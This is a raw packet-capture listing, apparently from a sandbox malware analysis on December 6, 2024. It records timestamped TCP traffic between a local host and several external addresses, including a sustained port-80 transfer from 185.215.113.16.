Dec 6, 2024 22:09:02.337522030 CET	443	49821	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.339987040 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.340039015 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.340109110 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.340296984 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.340311050 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.453031063 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:02.615802050 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.616869926 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.619466066 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.619539976 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.619580030 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.619590044 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.619600058 CET	49823	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.619605064 CET	443	49823	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.619951010 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.620006084 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.620033026 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.620052099 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.620064020 CET	49822	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.620070934 CET	443	49822	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.622924089 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.622951031 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.622960091 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.622989893 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.623029947 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.623065948 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.623200893 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.623202085 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.623214960 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.623217106 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.659734011 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.663175106 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.663273096 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.663353920 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.663373947 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.663383961 CET	49824	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.663389921 CET	443	49824	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.666702032 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.666733027 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.666799068 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.666954994 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:02.666969061 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:02.772505045 CET	80	49789	185.215.113.206	192.168.2.7
Dec 6, 2024 22:09:02.772732019 CET	49789	80	192.168.2.7	185.215.113.206
Dec 6, 2024 22:09:02.777398109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:02.897320986 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:02.897397995 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:02.897677898 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:03.017391920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.052644014 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.053205967 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.053240061 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.053735018 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.053740978 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.144519091 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.145330906 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.145364046 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.145735025 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.145740986 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.263770103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.263999939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.264137983 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.264193058 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.264758110 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.264816999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.265023947 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.265028954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.265078068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.265535116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.265656948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.265974045 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.265979052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.266030073 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.266541958 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.266549110 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.266597986 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.375447035 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.376298904 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.376332045 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.376739025 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.376769066 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.376780033 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.377036095 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.377062082 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.377363920 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.377373934 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.383965969 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.384105921 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.384521008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.384675980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.388124943 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.388216019 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.395037889 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.395682096 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.395698071 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.396183014 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.396193027 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.397802114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.397808075 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.397910118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.456974030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.457098007 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.457140923 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.457315922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.461177111 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.461245060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.461307049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.461404085 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.472570896 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.472794056 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.472804070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.473009109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.473208904 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.473265886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.480916977 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.481031895 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.481149912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.481201887 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.489312887 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.489383936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.489546061 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.489595890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.493681908 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.493746996 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.493803024 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.494066000 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.494096994 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.494110107 CET	49825	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.494116068 CET	443	49825	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.497719049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.497822046 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.497822046 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.497855902 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.497927904 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.497931004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.497972965 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.498115063 CET	49831	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.498125076 CET	443	49831	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.506226063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.506329060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.506438017 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.506484032 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.514719009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.514816999 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.514848948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.514879942 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.522927999 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.523051023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.523140907 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.523190022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.530590057 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.530704021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.530808926 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.530858994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.579953909 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.582496881 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.582537889 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.582667112 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.582667112 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.582690001 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.582712889 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.582730055 CET	49826	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.582736015 CET	443	49826	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.586170912 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.586215019 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.586291075 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.586448908 CET	49832	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.586464882 CET	443	49832	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.634255886 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.634319067 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.634473085 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.634515047 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.637978077 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.638031960 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.648938894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.648997068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.649144888 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.649179935 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.650254011 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.650300026 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.650489092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.650543928 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.654665947 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.654715061 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.654887915 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.654934883 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.659106016 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.659181118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.659293890 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.659342051 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.663495064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.663544893 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.663707018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.663753033 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.667772055 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.667828083 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.667989016 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.668035984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.672115088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.672178984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.672352076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.672399998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.676532984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.676603079 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.676764965 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.676811934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.680808067 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.680888891 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.681036949 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.681082964 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.685163021 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.685234070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.685388088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.685431957 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.689507008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.689579010 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.689743042 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.689793110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.693835020 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.693909883 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.694044113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.694094896 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.698232889 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.698296070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.698476076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.698539972 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.702511072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.702567101 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.702759027 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.702805996 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.706890106 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.706947088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.707109928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.707156897 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.711252928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.711329937 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.711462975 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.711513996 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.715574980 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.715639114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.715801954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.715852022 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.719957113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.720016956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.720174074 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.720246077 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.724266052 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.724324942 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.724519968 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.724567890 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.728621006 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.728683949 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.728836060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.728883028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.733007908 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.733072042 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.809851885 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.812515974 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.812885046 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.812988043 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.813035965 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.813035965 CET	49828	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.813057899 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.813079119 CET	443	49828	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.815507889 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.815565109 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.815619946 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.815654039 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.815718889 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.815735102 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.815761089 CET	49827	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.815767050 CET	443	49827	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.816554070 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.816580057 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.816652060 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.816829920 CET	49833	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.816840887 CET	443	49833	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.818075895 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.818118095 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.818191051 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.818324089 CET	49834	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.818336010 CET	443	49834	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.826250076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.826344013 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.826498985 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.826549053 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.828214884 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.828263998 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.828435898 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.828488111 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.830916882 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.832055092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.832143068 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.834237099 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.834305048 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.834352970 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.834362030 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.834377050 CET	49829	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.834382057 CET	443	49829	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.837148905 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.837161064 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.837251902 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.837413073 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:04.837424994 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:04.841341972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.841413021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.841564894 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.841617107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.843044996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.843100071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.843302965 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.843368053 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.846467018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.846533060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.846695900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.846746922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.849693060 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.849764109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.849931955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.849982023 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.853106022 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.853179932 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.853342056 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.853383064 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.856506109 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.856578112 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.856750965 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.856795073 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.859741926 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.859798908 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.859947920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.859991074 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.862925053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.862972975 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.863147020 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.863188028 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.866162062 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:04.866240978 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:04.866488934 CET	80	49830	185.215.113.16	192.168.2.7
